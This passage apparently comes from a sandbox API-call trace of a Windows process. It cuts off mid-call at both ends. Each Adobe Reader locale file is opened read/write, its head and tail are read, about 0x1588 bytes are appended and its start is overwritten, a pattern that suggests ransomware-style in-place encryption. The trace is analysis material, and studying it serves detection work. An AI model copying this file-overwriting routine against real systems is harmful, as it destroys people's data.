lpOverlapped=0x0) returned 1 [0042.499] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1c00 [0042.499] WriteFile (in: hFile=0x168, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.500] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0042.500] WriteFile (in: hFile=0x168, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.500] CloseHandle (hObject=0x168) returned 1 [0042.500] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\accessibility.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\accessibility.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0042.500] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.501] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xac00 [0042.501] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.501] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.501] ReleaseMutex (hMutex=0x128) returned 1 [0042.501] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.PTB", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0042.501] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.PTB", cchWideChar=17, lpMultiByteStr=0x1e78974, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.PTB", lpUsedDefaultChar=0x0) returned 17 [0042.501] ReadFile (in: hFile=0x168, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0042.502] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x9c00 [0042.502] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.503] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x9c00 [0042.503] WriteFile (in: hFile=0x168, lpBuffer=0x3a4be58*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a4be58*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.503] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0042.503] WriteFile (in: hFile=0x168, lpBuffer=0x3a4be58*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a4be58*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0042.503] CloseHandle (hObject=0x168) returned 1 [0042.503] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\IA32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\ia32.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0042.504] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.504] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xe00 [0042.504] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.504] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.504] ReleaseMutex (hMutex=0x128) returned 1 [0042.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.PTB", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0042.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.PTB", cchWideChar=8, lpMultiByteStr=0x1e6334c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.PTB", lpUsedDefaultChar=0x0) returned 8 [0042.504] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2e0f2bc*=0xe00, lpOverlapped=0x0) returned 1 [0042.808] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0042.808] WriteFile (in: hFile=0x168, lpBuffer=0x3a4cc28*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x3a4cc28*, lpNumberOfBytesWritten=0x2e0f2d0*=0x1388, lpOverlapped=0x0) returned 1 [0042.809] CloseHandle (hObject=0x168) returned 1 [0042.809] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\SendMail.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\sendmail.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0042.809] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.809] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x3e00 [0042.809] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.809] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.810] ReleaseMutex (hMutex=0x128) returned 1 [0042.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.PTB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0042.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.PTB", cchWideChar=12, lpMultiByteStr=0x1e631ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.PTB", lpUsedDefaultChar=0x0) returned 12 [0042.810] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.825] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2e00 [0042.825] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.844] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2e00 [0042.844] WriteFile (in: hFile=0x168, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.850] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0042.850] WriteFile (in: hFile=0x168, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.852] CloseHandle (hObject=0x168) returned 1 [0042.852] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\BRdlang32.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\brdlang32.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0042.855] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.855] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x3800 [0042.856] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.856] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.856] ReleaseMutex (hMutex=0x128) returned 1 [0042.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.RUM", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0042.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.RUM", cchWideChar=13, lpMultiByteStr=0x1e6322c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.RUM", lpUsedDefaultChar=0x0) returned 13 [0042.860] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.871] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2800 [0042.871] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.873] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2800 [0042.874] WriteFile (in: hFile=0x198, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.874] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0042.874] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.874] CloseHandle (hObject=0x198) returned 1 [0042.874] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\PPKLITE.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\ppklite.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0042.875] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.875] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x82600 [0042.875] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.875] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.875] ReleaseMutex (hMutex=0x128) returned 1 [0042.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0042.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.RUM", cchWideChar=11, lpMultiByteStr=0x1e6342c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.RUM", lpUsedDefaultChar=0x0) returned 11 [0042.875] ReadFile (in: hFile=0x198, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2e0f278*=0xf000, lpOverlapped=0x0) returned 1 [0042.879] ReadFile (in: hFile=0x198, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.881] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x81600 [0042.881] ReadFile (in: hFile=0x198, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.884] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x81600 [0042.885] WriteFile (in: hFile=0x198, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.885] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0042.885] WriteFile (in: hFile=0x198, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2e0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0042.885] WriteFile (in: hFile=0x198, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.885] CloseHandle (hObject=0x198) returned 1 [0042.885] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Updater.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\updater.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0042.886] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.886] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x2a00 [0042.886] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.886] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.886] ReleaseMutex (hMutex=0x128) returned 1 [0042.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0042.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.RUM", cchWideChar=11, lpMultiByteStr=0x1e6322c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.RUM", lpUsedDefaultChar=0x0) returned 11 [0042.886] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.889] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1a00 [0042.889] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.890] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1a00 [0042.890] WriteFile (in: hFile=0x198, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.890] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0042.890] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.890] CloseHandle (hObject=0x198) returned 1 [0042.890] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\eBook.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\ebook.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0042.891] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.891] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1a00 [0042.891] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.891] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.891] ReleaseMutex (hMutex=0x128) returned 1 [0042.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.RUS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.RUS", cchWideChar=9, lpMultiByteStr=0x1e631cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.RUS", lpUsedDefaultChar=0x0) returned 9 [0042.891] ReadFile (in: hFile=0x198, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x2e0f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0042.893] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0042.893] WriteFile (in: hFile=0x198, lpBuffer=0x3a4cc28*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x3a4cc28*, lpNumberOfBytesWritten=0x2e0f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0042.893] CloseHandle (hObject=0x198) returned 1 [0042.893] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\SaveAsRTF.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\saveasrtf.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0042.894] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.894] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x4a00 [0042.894] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.894] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.894] ReleaseMutex (hMutex=0x128) returned 1 [0042.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.RUS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0042.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.RUS", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.RUS", lpUsedDefaultChar=0x0) returned 13 [0042.894] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.896] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x3a00 [0042.896] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.897] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x3a00 [0042.897] WriteFile (in: hFile=0x198, 